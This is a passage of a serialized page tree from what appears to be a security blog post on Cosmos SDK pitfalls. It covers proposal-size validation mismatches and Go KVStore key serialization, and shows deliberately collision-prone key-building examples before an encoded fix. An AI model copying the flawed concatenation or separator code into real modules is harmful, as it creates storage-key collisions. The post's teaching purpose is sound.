",{"type":21,"tag":85,"props":85379,"children":85380},{"style":102},[85381],{"type":26,"value":77104},{"type":21,"tag":85,"props":85383,"children":85384},{"class":87,"line":3445},[85385],{"type":21,"tag":85,"props":85386,"children":85387},{"style":114},[85388],{"type":26,"value":507},{"type":21,"tag":85,"props":85390,"children":85391},{"class":87,"line":3490},[85392],{"type":21,"tag":85,"props":85393,"children":85394},{"style":114},[85395],{"type":26,"value":2671},{"type":21,"tag":22,"props":85397,"children":85398},{},[85399,85401,85406,85407,85412,85414,85421],{"type":26,"value":85400},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":21,"tag":66,"props":85402,"children":85404},{"className":85403},[],[85405],{"type":26,"value":83770},{"type":26,"value":717},{"type":21,"tag":66,"props":85408,"children":85410},{"className":85409},[],[85411],{"type":26,"value":83838},{"type":26,"value":85413},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":21,"tag":335,"props":85415,"children":85418},{"href":85416,"rel":85417},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[339],[85419],{"type":26,"value":85420},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":26,"value":85422},", which will later get rejected by CometBTF.",{"type":21,"tag":54,"props":85424,"children":85426},{"id":85425},"the-keymaker",[85427],{"type":26,"value":85428},"The Keymaker",{"type":21,"tag":22,"props":85430,"children":85431},{},[85432,85434,85440,85442,85447],{"type":26,"value":85433},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":21,"tag":66,"props":85435,"children":85437},{"className":85436},[],[85438],{"type":26,"value":85439},"KVStore",{"type":26,"value":85441}," to handle states efficently. In ",{"type":21,"tag":66,"props":85443,"children":85445},{"className":85444},[],[85446],{"type":26,"value":85439},{"type":26,"value":85448},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":21,"tag":22,"props":85450,"children":85451},{},[85452],{"type":26,"value":85453},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":21,"tag":22,"props":85455,"children":85456},{},[85457,85459,85465],{"type":26,"value":85458},"Let's start by considering a scenario where we need to store the ",{"type":21,"tag":66,"props":85460,"children":85462},{"className":85461},[],[85463],{"type":26,"value":85464},"positionMap",{"type":26,"value":85466}," structure mentioned below into storage.",{"type":21,"tag":75,"props":85468,"children":85470},{"code":85469,"language":76626,"meta":7,"className":76627,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n",[85471],{"type":21,"tag":66,"props":85472,"children":85473},{"__ignoreMap":7},[85474,85490,85507,85523,85542,85557,85564,85581],{"type":21,"tag":85,"props":85475,"children":85476},{"class":87,"line":88},[85477,85481,85486],{"type":21,"tag":85,"props":85478,"children":85479},{"style":102},[85480],{"type":26,"value":33202},{"type":21,"tag":85,"props":85482,"children":85483},{"style":108},[85484],{"type":26,"value":85485}," VaultId",{"type":21,"tag":85,"props":85487,"children":85488},{"style":108},[85489],{"type":26,"value":76664},{"type":21,"tag":85,"props":85491,"children":85492},{"class":87,"line":98},[85493,85497,85502],{"type":21,"tag":85,"props":85494,"children":85495},{"style":102},[85496],{"type":26,"value":33202},{"type":21,"tag":85,"props":85498,"children":85499},{"style":108},[85500],{"type":26,"value":85501}," Username",{"type":21,"tag":85,"props":85503,"children":85504},{"style":108},[85505],{"type":26,"value":85506}," string\n",{"type":21,"tag":85,"props":85508,"children":85509},{"class":87,"line":151},[85510,85514,85519],{"type":21,"tag":85,"props":85511,"children":85512},{"style":102},[85513],{"type":26,"value":33202},{"type":21,"tag":85,"props":85515,"children":85516},{"style":108},[85517],{"type":26,"value":85518}," PositionName",{"type":21,"tag":85,"props":85520,"children":85521},{"style":108},[85522],{"type":26,"value":85506},{"type":21,"tag":85,"props":85524,"children":85525},{"class":87,"line":160},[85526,85530,85534,85538],{"type":21,"tag":85,"props":85527,"children":85528},{"style":102},[85529],{"type":26,"value":33202},{"type":21,"tag":85,"props":85531,"children":85532},{"style":108},[85533],{"type":26,"value":1771},{"type":21,"tag":85,"props":85535,"children":85536},{"style":102},[85537],{"type":26,"value":21579},{"type":21,"tag":85,"props":85539,"children":85540},{"style":114},[85541],{"type":26,"value":148},{"type":21,"tag":85,"props":85543,"children":85544},{"class":87,"line":185},[85545,85549,85553],{"type":21,"tag":85,"props":85546,"children":85547},{"style":120},[85548],{"type":26,"value":43682},{"type":21,"tag":85,"props":85550,"children":85551},{"style":114},[85552],{"type":26,"value":76689},{"type":21,"tag":85,"props":85554,"children":85555},{"style":108},[85556],{"type":26,"value":84690},{"type":21,"tag":85,"props":85558,"children":85559},{"class":87,"line":501},[85560],{"type":21,"tag":85,"props":85561,"children":85562},{"style":114},[85563],{"type":26,"value":2671},{"type":21,"tag":85,"props":85565,"children":85566},{"class":87,"line":697},[85567,85571,85576],{"type":21,"tag":85,"props":85568,"children":85569},{"style":102},[85570],{"type":26,"value":33202},{"type":21,"tag":85,"props":85572,"children":85573},{"style":108},[85574],{"type":26,"value":85575}," PositionMap",{"type":21,"tag":85,"props":85577,"children":85578},{"style":169},[85579],{"type":26,"value":85580}," :=\n",{"type":21,"tag":85,"props":85582,"children":85583},{"class":87,"line":706},[85584,85589,85593,85598,85602,85606,85610,85615,85619,85623,85627,85632,85636],{"type":21,"tag":85,"props":85585,"children":85586},{"style":102},[85587],{"type":26,"value":85588},"    map",{"type":21,"tag":85,"props":85590,"children":85591},{"style":114},[85592],{"type":26,"value":3016},{"type":21,"tag":85,"props":85594,"children":85595},{"style":108},[85596],{"type":26,"value":85597},"VaultId",{"type":21,"tag":85,"props":85599,"children":85600},{"style":114},[85601],{"type":26,"value":15830},{"type":21,"tag":85,"props":85603,"children":85604},{"style":102},[85605],{"type":26,"value":67561},{"type":21,"tag":85,"props":85607,"children":85608},{"style":114},[85609],{"type":26,"value":3016},{"type":21,"tag":85,"props":85611,"children":85612},{"style":108},[85613],{"type":26,"value":85614},"Username",{"type":21,"tag":85,"props":85616,"children":85617},{"style":114},[85618],{"type":26,"value":15830},{"type":21,"tag":85,"props":85620,"children":85621},{"style":102},[85622],{"type":26,"value":67561},{"type":21,"tag":85,"props":85624,"children":85625},{"style":114},[85626],{"type":26,"value":3016},{"type":21,"tag":85,"props":85628,"children":85629},{"style":108},[85630],{"type":26,"value":85631},"PositionName",{"type":21,"tag":85,"props":85633,"children":85634},{"style":114},[85635],{"type":26,"value":15830},{"type":21,"tag":85,"props":85637,"children":85638},{"style":108},[85639],{"type":26,"value":85640},"Position\n",{"type":21,"tag":22,"props":85642,"children":85643},{},[85644,85646,85652],{"type":26,"value":85645},"Given that there are two levels of keys in ",{"type":21,"tag":66,"props":85647,"children":85649},{"className":85648},[],[85650],{"type":26,"value":85651},"PositionMap",{"type":26,"value":85653},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":21,"tag":75,"props":85655,"children":85657},{"code":85656,"language":76626,"meta":7,"className":76627,"style":7},"storageKey := fmt.Sprintf(\n    \"%d%s%s\",\n    vaultId,\n    username,\n    positionName,\n)\n",[85658],{"type":21,"tag":66,"props":85659,"children":85660},{"__ignoreMap":7},[85661,85690,85702,85714,85726,85738],{"type":21,"tag":85,"props":85662,"children":85663},{"class":87,"line":88},[85664,85669,85673,85677,85681,85686],{"type":21,"tag":85,"props":85665,"children":85666},{"style":120},[85667],{"type":26,"value":85668},"storageKey",{"type":21,"tag":85,"props":85670,"children":85671},{"style":169},[85672],{"type":26,"value":76878},{"type":21,"tag":85,"props":85674,"children":85675},{"style":120},[85676],{"type":26,"value":82696},{"type":21,"tag":85,"props":85678,"children":85679},{"style":114},[85680],{"type":26,"value":73},{"type":21,"tag":85,"props":85682,"children":85683},{"style":1021},[85684],{"type":26,"value":85685},"Sprintf",{"type":21,"tag":85,"props":85687,"children":85688},{"style":114},[85689],{"type":26,"value":1029},{"type":21,"tag":85,"props":85691,"children":85692},{"class":87,"line":98},[85693,85698],{"type":21,"tag":85,"props":85694,"children":85695},{"style":5026},[85696],{"type":26,"value":85697},"    \"%d%s%s\"",{"type":21,"tag":85,"props":85699,"children":85700},{"style":114},[85701],{"type":26,"value":182},{"type":21,"tag":85,"props":85703,"children":85704},{"class":87,"line":151},[85705,85710],{"type":21,"tag":85,"props":85706,"children":85707},{"style":120},[85708],{"type":26,"value":85709},"    vaultId",{"type":21,"tag":85,"props":85711,"children":85712},{"style":114},[85713],{"type":26,"value":182},{"type":21,"tag":85,"props":85715,"children":85716},{"class":87,"line":160},[85717,85722],{"type":21,"tag":85,"props":85718,"children":85719},{"style":120},[85720],{"type":26,"value":85721},"    username",{"type":21,"tag":85,"props":85723,"children":85724},{"style":114},[85725],{"type":26,"value":182},{"type":21,"tag":85,"props":85727,"children":85728},{"class":87,"line":185},[85729,85734],{"type":21,"tag":85,"props":85730,"children":85731},{"style":120},[85732],{"type":26,"value":85733},"    positionName",{"type":21,"tag":85,"props":85735,"children":85736},{"style":114},[85737],{"type":26,"value":182},{"type":21,"tag":85,"props":85739,"children":85740},{"class":87,"line":501},[85741],{"type":21,"tag":85,"props":85742,"children":85743},{"style":114},[85744],{"type":26,"value":2485},{"type":21,"tag":22,"props":85746,"children":85747},{},[85748],{"type":26,"value":85749},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":21,"tag":75,"props":85751,"children":85753},{"code":85752},"vaultId = 1,  username = \"2a\", positionName = \"b\"\n    => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\",  positionName = \"b\"\n    => storageKey = \"12ab\"\n",[85754],{"type":21,"tag":66,"props":85755,"children":85756},{"__ignoreMap":7},[85757],{"type":26,"value":85752},{"type":21,"tag":22,"props":85759,"children":85760},{},[85761,85766],{"type":21,"tag":39,"props":85762,"children":85763},{},[85764],{"type":26,"value":85765},"So, how can we mitigate this issue?",{"type":26,"value":85767},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":21,"tag":75,"props":85769,"children":85771},{"code":85770,"language":76626,"meta":7,"className":76627,"style":7},"const (\n    Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    username,\n    Seperator,\n    positionName,\n)\n",[85772],{"type":21,"tag":66,"props":85773,"children":85774},{"__ignoreMap":7},[85775,85786,85803,85810,85817,85844,85856,85867,85878,85889,85900,85911],{"type":21,"tag":85,"props":85776,"children":85777},{"class":87,"line":88},[85778,85782],{"type":21,"tag":85,"props":85779,"children":85780},{"style":102},[85781],{"type":26,"value":10069},{"type":21,"tag":85,"props":85783,"children":85784},{"style":114},[85785],{"type":26,"value":79028},{"type":21,"tag":85,"props":85787,"children":85788},{"class":87,"line":98},[85789,85794,85798],{"type":21,"tag":85,"props":85790,"children":85791},{"style":120},[85792],{"type":26,"value":85793},"    Seperator",{"type":21,"tag":85,"props":85795,"children":85796},{"style":169},[85797],{"type":26,"value":1941},{"type":21,"tag":85,"props":85799,"children":85800},{"style":5026},[85801],{"type":26,"value":85802}," \"|\"\n",{"type":21,"tag":85,"props":85804,"children":85805},{"class":87,"line":151},[85806],{"type":21,"tag":85,"props":85807,"children":85808},{"style":114},[85809],{"type":26,"value":2485},{"type":21,"tag":85,"props":85811,"children":85812},{"class":87,"line":160},[85813],{"type":21,"tag":85,"props":85814,"children":85815},{"emptyLinePlaceholder":16},[85816],{"type":26,"value":703},{"type":21,"tag":85,"props":85818,"children":85819},{"class":87,"line":185},[85820,85824,85828,85832,85836,85840],{"type":21,"tag":85,"props":85821,"children":85822},{"style":120},[85823],{"type":26,"value":85668},{"type":21,"tag":85,"props":85825,"children":85826},{"style":169},[85827],{"type":26,"value":76878},{"type":21,"tag":85,"props":85829,"children":85830},{"style":120},[85831],{"type":26,"value":82696},{"type":21,"tag":85,"props":85833,"children":85834},{"style":114},[85835],{"type":26,"value":73},{"type":21,"tag":85,"props":85837,"children":85838},{"style":1021},[85839],{"type":26,"value":85685},{"type":21,"tag":85,"props":85841,"children":85842},{"style":114},[85843],{"type":26,"value":1029},{"type":21,"tag":85,"props":85845,"children":85846},{"class":87,"line":501},[85847,85852],{"type":21,"tag":85,"props":85848,"children":85849},{"style":5026},[85850],{"type":26,"value":85851},"    \"%d%s%s%s%s\"",{"type":21,"tag":85,"props":85853,"children":85854},{"style":114},[85855],{"type":26,"value":182},{"type":21,"tag":85,"props":85857,"children":85858},{"class":87,"line":697},[85859,85863],{"type":21,"tag":85,"props":85860,"children":85861},{"style":120},[85862],{"type":26,"value":85709},{"type":21,"tag":85,"props":85864,"children":85865},{"style":114},[85866],{"type":26,"value":182},{"type":21,"tag":85,"props":85868,"children":85869},{"class":87,"line":706},[85870,85874],{"type":21,"tag":85,"props":85871,"children":85872},{"style":120},[85873],{"type":26,"value":85793},{"type":21,"tag":85,"props":85875,"children":85876},{"style":114},[85877],{"type":26,"value":182},{"type":21,"tag":85,"props":85879,"children":85880},{"class":87,"line":1100},[85881,85885],{"type":21,"tag":85,"props":85882,"children":85883},{"style":120},[85884],{"type":26,"value":85721},{"type":21,"tag":85,"props":85886,"children":85887},{"style":114},[85888],{"type":26,"value":182},{"type":21,"tag":85,"props":85890,"children":85891},{"class":87,"line":1339},[85892,85896],{"type":21,"tag":85,"props":85893,"children":85894},{"style":120},[85895],{"type":26,"value":85793},{"type":21,"tag":85,"props":85897,"children":85898},{"style":114},[85899],{"type":26,"value":182},{"type":21,"tag":85,"props":85901,"children":85902},{"class":87,"line":1348},[85903,85907],{"type":21,"tag":85,"props":85904,"children":85905},{"style":120},[85906],{"type":26,"value":85733},{"type":21,"tag":85,"props":85908,"children":85909},{"style":114},[85910],{"type":26,"value":182},{"type":21,"tag":85,"props":85912,"children":85913},{"class":87,"line":1386},[85914],{"type":21,"tag":85,"props":85915,"children":85916},{"style":114},[85917],{"type":26,"value":2485},{"type":21,"tag":22,"props":85919,"children":85920},{},[85921],{"type":26,"value":85922},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":21,"tag":22,"props":85924,"children":85925},{},[85926,85928,85934,85935,85941],{"type":26,"value":85927},"Sadly, it doesn't. Since the ",{"type":21,"tag":66,"props":85929,"children":85931},{"className":85930},[],[85932],{"type":26,"value":85933},"username",{"type":26,"value":11408},{"type":21,"tag":66,"props":85936,"children":85938},{"className":85937},[],[85939],{"type":26,"value":85940},"vaultName",{"type":26,"value":85942}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":21,"tag":75,"props":85944,"children":85946},{"code":85945},"vaultId = 1, username = \"a|\", positionName = \"b\"\n    => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\",  positionName = \"|b\"\n    => storageKey = \"1|a||b\"\n",[85947],{"type":21,"tag":66,"props":85948,"children":85949},{"__ignoreMap":7},[85950],{"type":26,"value":85945},{"type":21,"tag":22,"props":85952,"children":85953},{},[85954],{"type":26,"value":85955},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":21,"tag":75,"props":85957,"children":85959},{"code":85958,"language":76626,"meta":7,"className":76627,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    usernameEncoded,\n    Seperator,\n    positionNameEncoded\n)\n",[85960],{"type":21,"tag":66,"props":85961,"children":85962},{"__ignoreMap":7},[85963,85974,85989,85996,86003,86010,86031,86047,86085,86092,86129,86136,86156,86171,86207,86214,86249,86256,86283,86294,86305,86316,86328,86339,86347],{"type":21,"tag":85,"props":85964,"children":85965},{"class":87,"line":88},[85966,85970],{"type":21,"tag":85,"props":85967,"children":85968},{"style":102},[85969],{"type":26,"value":10069},{"type":21,"tag":85,"props":85971,"children":85972},{"style":114},[85973],{"type":26,"value":79028},{"type":21,"tag":85,"props":85975,"children":85976},{"class":87,"line":98},[85977,85981,85985],{"type":21,"tag":85,"props":85978,"children":85979},{"style":120},[85980],{"type":26,"value":85793},{"type":21,"tag":85,"props":85982,"children":85983},{"style":169},[85984],{"type":26,"value":1941},{"type":21,"tag":85,"props":85986,"children":85987},{"style":5026},[85988],{"type":26,"value":85802},{"type":21,"tag":85,"props":85990,"children":85991},{"class":87,"line":151},[85992],{"type":21,"tag":85,"props":85993,"children":85994},{"style":114},[85995],{"type":26,"value":2485},{"type":21,"tag":85,"props":85997,"children":85998},{"class":87,"line":160},[85999],{"type":21,"tag":85,"props":86000,"children":86001},{"emptyLinePlaceholder":16},[86002],{"type":26,"value":703},{"type":21,"tag":85,"props":86004,"children":86005},{"class":87,"line":185},[86006],{"type":21,"tag":85,"props":86007,"children":86008},{"emptyLinePlaceholder":16},[86009],{"type":26,"value":703},{"type":21,"tag":85,"props":86011,"children":86012},{"class":87,"line":501},[86013,86018,86022,86027],{"type":21,"tag":85,"props":86014,"children":86015},{"style":120},[86016],{"type":26,"value":86017},"usernameEncoded",{"type":21,"tag":85,"props":86019,"children":86020},{"style":169},[86021],{"type":26,"value":76878},{"type":21,"tag":85,"props":86023,"children":86024},{"style":1021},[86025],{"type":26,"value":86026}," make",{"type":21,"tag":85,"props":86028,"children":86029},{"style":114},[86030],{"type":26,"value":1029},{"type":21,"tag":85,"props":86032,"children":86033},{"class":87,"line":697},[86034,86039,86043],{"type":21,"tag":85,"props":86035,"children":86036},{"style":114},[86037],{"type":26,"value":86038},"    []",{"type":21,"tag":85,"props":86040,"children":86041},{"style":108},[86042],{"type":26,"value":85227},{"type":21,"tag":85,"props":86044,"children":86045},{"style":114},[86046],{"type":26,"value":182},{"type":21,"tag":85,"props":86048,"children":86049},{"class":87,"line":706},[86050,86055,86059,86064,86068,86072,86076,86080],{"type":21,"tag":85,"props":86051,"children":86052},{"style":120},[86053],{"type":26,"value":86054},"    hex",{"type":21,"tag":85,"props":86056,"children":86057},{"style":114},[86058],{"type":26,"value":73},{"type":21,"tag":85,"props":86060,"children":86061},{"style":1021},[86062],{"type":26,"value":86063},"EncodedLen",{"type":21,"tag":85,"props":86065,"children":86066},{"style":114},[86067],{"type":26,"value":1439},{"type":21,"tag":85,"props":86069,"children":86070},{"style":1021},[86071],{"type":26,"value":3520},{"type":21,"tag":85,"props":86073,"children":86074},{"style":114},[86075],{"type":26,"value":1439},{"type":21,"tag":85,"props":86077,"children":86078},{"style":120},[86079],{"type":26,"value":85933},{"type":21,"tag":85,"props":86081,"children":86082},{"style":114},[86083],{"type":26,"value":86084},")),\n",{"type":21,"tag":85,"props":86086,"children":86087},{"class":87,"line":1100},[86088],{"type":21,"tag":85,"props":86089,"children":86090},{"style":114},[86091],{"type":26,"value":2485},{"type":21,"tag":85,"props":86093,"children":86094},{"class":87,"line":1339},[86095,86100,86104,86109,86113,86117,86121,86125],{"type":21,"tag":85,"props":86096,"children":86097},{"style":120},[86098],{"type":26,"value":86099},"hex",{"type":21,"tag":85,"props":86101,"children":86102},{"style":114},[86103],{"type":26,"value":73},{"type":21,"tag":85,"props":86105,"children":86106},{"style":1021},[86107],{"type":26,"value":86108},"Encode",{"type":21,"tag":85,"props":86110,"children":86111},{"style":114},[86112],{"type":26,"value":1439},{"type":21,"tag":85,"props":86114,"children":86115},{"style":120},[86116],{"type":26,"value":86017},{"type":21,"tag":85,"props":86118,"children":86119},{"style":114},[86120],{"type":26,"value":256},{"type":21,"tag":85,"props":86122,"children":86123},{"style":120},[86124],{"type":26,"value":85933},{"type":21,"tag":85,"props":86126,"children":86127},{"style":114},[86128],{"type":26,"value":2485},{"type":21,"tag":85,"props":86130,"children":86131},{"class":87,"line":1348},[86132],{"type":21,"tag":85,"props":86133,"children":86134},{"emptyLinePlaceholder":16},[86135],{"type":26,"value":703},{"type":21,"tag":85,"props":86137,"children":86138},{"class":87,"line":1386},[86139,86144,86148,86152],{"type":21,"tag":85,"props":86140,"children":86141},{"style":120},[86142],{"type":26,"value":86143},"positionNameEncoded",{"type":21,"tag":85,"props":86145,"children":86146},{"style":169},[86147],{"type":26,"value":76878},{"type":21,"tag":85,"props":86149,"children":86150},{"style":1021},[86151],{"type":26,"value":86026},{"type":21,"tag":85,"props":86153,"children":86154},{"style":114},[86155],{"type":26,"value":1029},{"type":21,"tag":85,"props":86157,"children":86158},{"class":87,"line":1394},[86159,86163,86167],{"type":21,"tag":85,"props":86160,"children":86161},{"style":114},[86162],{"type":26,"value":86038},{"type":21,"tag":85,"props":86164,"children":86165},{"style":108},[86166],{"type":26,"value":85227},{"type":21,"tag":85,"props":86168,"children":86169},{"style":114},[86170],{"type":26,"value":182},{"type":21,"tag":85,"props":86172,"children":86173},{"class":87,"line":1402},[86174,86178,86182,86186,86190,86194,86198,86203],{"type":21,"tag":85,"props":86175,"children":86176},{"style":120},[86177],{"type":26,"value":86054},{"type":21,"tag":85,"props":86179,"children":86180},{"style":114},[86181],{"type":26,"value":73},{"type":21,"tag":85,"props":86183,"children":86184},{"style":1021},[86185],{"type":26,"value":86063},{"type":21,"tag":85,"props":86187,"children":86188},{"style":114},[86189],{"type":26,"value":1439},{"type":21,"tag":85,"props":86191,"children":86192},{"style":1021},[86193],{"type":26,"value":3520},{"type":21,"tag":85,"props":86195,"children":86196},{"style":114},[86197],{"type":26,"value":1439},{"type":21,"tag":85,"props":86199,"children":86200},{"style":120},[86201],{"type":26,"value":86202},"positionName",{"type":21,"tag":85,"props":86204,"children":86205},{"style":114},[86206],{"type":26,"value":86084},{"type":21,"tag":85,"props":86208,"children":86209},{"class":87,"line":3145},[86210],{"type":21,"tag":85,"props":86211,"children":86212},{"style":114},[86213],{"type":26,"value":2485},{"type":21,"tag":85,"props":86215,"children":86216},{"class":87,"line":3246},[86217,86221,86225,86229,86233,86237,86241,86245],{"type":21,"tag":85,"props":86218,"children":86219},{"style":120},[86220],{"type":26,"value":86099},{"type":21,"tag":85,"props":86222,"children":86223},{"style":114},[86224],{"type":26,"value":73},{"type":21,"tag":85,"props":86226,"children":86227},{"style":1021},[86228],{"type":26,"value":86108},{"type":21,"tag":85,"props":86230,"children":86231},{"style":114},[86232],{"type":26,"value":1439},{"type":21,"tag":85,"props":86234,"children":86235},{"style":120},[86236],{"type":26,"value":86143},{"type":21,"tag":85,"props":86238,"children":86239},{"style":114},[86240],{"type":26,"value":256},{"type":21,"tag":85,"props":86242,"children":86243},{"style":120},[86244],{"type":26,"value":86202},{"type":21,"tag":85,"props":86246,"children":86247},{"style":114},[86248],{"type":26,"value":2485},{"type":21,"tag":85,"props":86250,"children":86251},{"class":87,"line":3255},[86252],{"type":21,"tag":85,"props":86253,"children":86254},{"emptyLinePlaceholder":16},[86255],{"type":26,"value":703},{"type":21,"tag":85,"props":86257,"children":86258},{"class":87,"line":3286},[86259,86263,86267,86271,86275,86279],{"type":21,"tag":85,"props":86260,"children":86261},{"style":120},[86262],{"type":26,"value":85668},{"type":21,"tag":85,"props":86264,"children":86265},{"style":169},[86266],{"type":26,"value":76878},{"type":21,"tag":85,"props":86268,"children":86269},{"style":120},[86270],{"type":26,"value":82696},{"type":21,"tag":85,"props":86272,"children":86273},{"style":114},[86274],{"type":26,"value":73},{"type":21,"tag":85,"props":86276,"children":86277},{"style":1021},[86278],{"type":26,"value":85685},{"type":21,"tag":85,"props":86280,"children":86281},{"style":114},[86282],{"type":26,"value":1029},{"type":21,"tag":85,"props":86284,"children":86285},{"class":87,"line":3295},[86286,86290],{"type":21,"tag":85,"props":86287,"children":86288},{"style":5026},[86289],{"type":26,"value":85851},{"type":21,"tag":85,"props":86291,"children":86292},{"style":114},[86293],{"type":26,"value":182},{"type":21,"tag":85,"props":86295,"children":86296},{"class":87,"line":3308},[86297,86301],{"type":21,"tag":85,"props":86298,"children":86299},{"style":120},[86300],{"type":26,"value":85709},{"type":21,"tag":85,"props":86302,"children":86303},{"style":114},[86304],{"type":26,"value":182},{"type":21,"tag":85,"props":86306,"children":86307},{"class":87,"line":3333},[86308,86312],{"type":21,"tag":85,"props":86309,"children":86310},{"style":120},[86311],{"type":26,"value":85793},{"type":21,"tag":85,"props":86313,"children":86314},{"style":114},[86315],{"type":26,"value":182},{"type":21,"tag":85,"props":86317,"children":86318},{"class":87,"line":3369},[86319,86324],{"type":21,"tag":85,"props":86320,"children":86321},{"style":120},[86322],{"type":26,"value":86323},"    usernameEncoded",{"type":21,"tag":85,"props":86325,"children":86326},{"style":114},[86327],{"type":26,"value":182},{"type":21,"tag":85,"props":86329,"children":86330},{"class":87,"line":3377},[86331,86335],{"type":21,"tag":85,"props":86332,"children":86333},{"style":120},[86334],{"type":26,"value":85793},{"type":21,"tag":85,"props":86336,"children":86337},{"style":114},[86338],{"type":26,"value":182},{"type":21,"tag":85,"props":86340,"children":86341},{"class":87,"line":3386},[86342],{"type":21,"tag":85,"props":86343,"children":86344},{"style":120},[86345],{"type":26,"value":86346},"    positionNameEncoded\n",{"type":21,"tag":85,"props":86348,"children":86349},{"class":87,"line":3394},[86350],{"type":21,"tag":85,"props":86351,"children":86352},{"style":114},[86353],{"type":26,"value":2485},{"type":21,"tag":22,"props":86355,"children":86356},{},[86357,86359,86364],{"type":26,"value":86358},"We did it. We finally eliminated all potential ",{"type":21,"tag":66,"props":86360,"children":86362},{"className":86361},[],[86363],{"type":26,"value":85668},{"type":26,"value":86365}," collisions.",{"type":21,"tag":22,"props":86367,"children":86368},{},[86369],{"type":26,"value":86370},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":21,"tag":22,"props":86372,"children":86373},{},[86374,86376,86382,86384,86389,86391,86396,86398,86403,86405,86411],{"type":26,"value":86375},"In the Cosmos framework, it is common for each ",{"type":21,"tag":66,"props":86377,"children":86379},{"className":86378},[],[86380],{"type":26,"value":86381},"Module",{"type":26,"value":86383}," to own a few ",{"type":21,"tag":66,"props":86385,"children":86387},{"className":86386},[],[86388],{"type":26,"value":85439},{"type":26,"value":86390}," and have individual ",{"type":21,"tag":66,"props":86392,"children":86394},{"className":86393},[],[86395],{"type":26,"value":80407},{"type":26,"value":86397},"s managing access to storages. It's also important to note that each ",{"type":21,"tag":66,"props":86399,"children":86401},{"className":86400},[],[86402],{"type":26,"value":85439},{"type":26,"value":86404}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":21,"tag":66,"props":86406,"children":86408},{"className":86407},[],[86409],{"type":26,"value":86410},"Modules",{"type":26,"value":73},{"type":21,"tag":22,"props":86413,"children":86414},{},[86415,86417,86422],{"type":26,"value":86416},"With that being said, what if we have to maintain more than one structure within the same ",{"type":21,"tag":66,"props":86418,"children":86420},{"className":86419},[],[86421],{"type":26,"value":85439},{"type":26,"value":3927},{"type":21,"tag":22,"props":86424,"children":86425},{},[86426,86428,86434,86436,86441],{"type":26,"value":86427},"To demonstrate this scenario, we introduce the ",{"type":21,"tag":66,"props":86429,"children":86431},{"className":86430},[],[86432],{"type":26,"value":86433},"NameToAddressMap",{"type":26,"value":86435}," structure, which will be stored in the same ",{"type":21,"tag":66,"props":86437,"children":86439},{"className":86438},[],[86440],{"type":26,"value":85439},{"type":26,"value":86442}," we previously used.",{"type":21,"tag":75,"props":86444,"children":86446},{"code":86445,"language":76626,"meta":7,"className":76627,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n    map[VaultId]map[Username]map[AddressName]Address\n",[86447],{"type":21,"tag":66,"props":86448,"children":86449},{"__ignoreMap":7},[86450,86465,86480,86487,86502,86521,86536,86543,86558,86613,86620,86636,86656,86671,86678,86694],{"type":21,"tag":85,"props":86451,"children":86452},{"class":87,"line":88},[86453,86457,86461],{"type":21,"tag":85,"props":86454,"children":86455},{"style":102},[86456],{"type":26,"value":33202},{"type":21,"tag":85,"props":86458,"children":86459},{"style":108},[86460],{"type":26,"value":85485},{"type":21,"tag":85,"props":86462,"children":86463},{"style":108},[86464],{"type":26,"value":76664},{"type":21,"tag":85,"props":86466,"children":86467},{"class":87,"line":98},[86468,86472,86476],{"type":21,"tag":85,"props":86469,"children":86470},{"style":102},[86471],{"type":26,"value":33202},{"type":21,"tag":85,"props":86473,"children":86474},{"style":108},[86475],{"type":26,"value":85501},{"type":21,"tag":85,"props":86477,"children":86478},{"style":108},[86479],{"type":26,"value":85506},{"type":21,"tag":85,"props":86481,"children":86482},{"class":87,"line":151},[86483],{"type":21,"tag":85,"props":86484,"children":86485},{"emptyLinePlaceholder":16},[86486],{"type":26,"value":703},{"type":21,"tag":85,"props":86488,"children":86489},{"class":87,"line":160},[86490,86494,86498],{"type":21,"tag":85,"props":86491,"children":86492},{"style":102},[86493],{"type":26,"value":33202},{"type":21,"tag":85,"props":86495,"children":86496},{"style":108},[86497],{"type":26,"value":85518},{"type":21,"tag":85,"props":86499,"children":86500},{"style":108},[86501],{"type":26,"value":85506},{"type":21,"tag":85,"props":86503,"children":86504},{"class":87,"line":185},[86505,86509,86513,86517],{"type":21,"tag":85,"props":86506,"children":86507},{"style":102},[86508],{"type":26,"value"